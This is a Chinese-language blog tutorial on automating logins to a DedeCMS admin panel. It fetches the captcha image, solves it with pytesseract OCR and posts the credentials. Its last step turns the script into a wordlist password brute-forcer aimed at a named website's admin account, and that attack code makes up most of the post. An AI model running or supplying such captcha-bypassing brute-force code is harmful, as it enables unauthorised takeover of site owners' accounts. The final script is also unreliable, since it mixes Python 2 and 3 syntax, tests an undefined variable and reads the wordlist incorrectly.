python3 远程登录带验证码

第一步用burpsuite 或者fiddler 等抓包看 post提交的数据,方便设置 post 的data 包

python3 远程登录带验证码_第1张图片

然后设置 header 和 data

url = 'http://xxxxxxxx/login.php'
s = requests.session()
data = {
	'dopost':'login',
	'adminstyle':'newdedecms',
	'userid':'root',
	'pwd':'password',
	'validate':'vali'
}
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
html = s.post(url, data=data, headers=header)
print(html.text)

第二步:把页面验证码保存起来,以便于用pytesseract识别验证码(PHP文件后缀可直接保持session的情况下访问php文件返回的html就是当前需要提交的图片

s = requests.session()
urlCode = "http:/XXXXXXXXX/include/vdimgck.php"
resp = s.get(urlCode)
f = open("./img.jpg","wb")
f.write(resp.content)   
f.close()

   第三步:识别验证码 (需要安装 pillow、pytesseract、tesseract-ocr

im=Image.open('img.jpg')        
#imgry = im.convert('L')        #转化为灰色  (中间的注释操作可神略,是将图片更容易识别,还需要其他操作)
# threshold = 140		#将图片二极化
# table = []
# for i in range(256):
#     if i < threshold:
#         table.append(0)
#     else:
#         table.append(1)
# out = imgry.point(table, '1')
pytesseract.image_to_string(im) 

第四步:把各步简单整合,返回登录成功的页面 

import pytesseract
from PIL import Image
import requests


def vidnum(url,s):
	res = s.get(url) 	 		#加载验证码页面
	f = open("./img.jpg","wb")
	f.write(res.content)   			#保存验证码数图片
	f.close()

	im=Image.open('img.jpg')  	
	# imgry = im.convert('L')         #转化为灰色 (中间的注释操作可神略,是将图片更容易识别,还需要其他操作)
	# threshold = 140				#将图片二极化
	# table = []
	# for i in range(256):
	# 	if i < threshold:
	# 		table.append(0)
	# 	else:
	# 		table.append(1)
	# im = imgry.point(table, '1')


	vidnum = pytesseract.image_to_string(im) #返回的验证码
	return vidnum.replace(' ','')		#去除空格


def main(url):
	loginurl = url + '/login.php'
	s = requests.session()
	vakudate = vidnum(url +"/vdimgck.php",s);
	data = {
		'dopost':'login',
		'adminstyle':'newdedecms',
		'userid':'admin',
		'pwd':'admin',
		'validate': vakudate
	}
	header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
	s.post(loginurl, data=data, headers=header)    #带数据访问

	html = s.post(url).text   #返回登录成功的页面
	return  html
	

aa = main('http://www.xxxxxxxxx.cn')
print(aa)

第五步:小改下main 函数,就可以 爆破密码 (利用密码集文本,或者自己写生成器)

def main(url,pwd):
	loginurl = url + 'dede/login.php'
	s = requests.session()
	vakudate = vidnum(url +"include/vdimgck.php",s);
	data = {
		'dopost':'login',
		'adminstyle':'newdedecms',
		'userid':'admin',
		'pwd':pwd,
		'validate': vakudate
	}
	header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
	s.post(loginurl, data=data, headers=header)			#带数据访问

	if (s.post(url).text == '登录成功页面'):			#判断是否登录成功,每个网站不用,或用其他判断
		return  pwd
	else:
		return 

file = open('passwork.txt','r+');	#加载密码集
for x in open('passwork.txt'):
	passwork =file.readline();
	pwd = passwork.strip()

	true_pass = main('http://www.wuxiaodong.cn/',pwd)  
	if result is not None:
		print true_pass;   #输出真实密码


总结:运用 requests 库 去模拟访问 ,使用 pillow、pytesseract、tesseract-ocr 库 识别验证码(虽然成功率不是很高,但是简单),可以模拟登录,获取cookie  ,还可以简单爆破密码,小小的一次python经验记载


你可能感兴趣的:(python3 远程登录带验证码)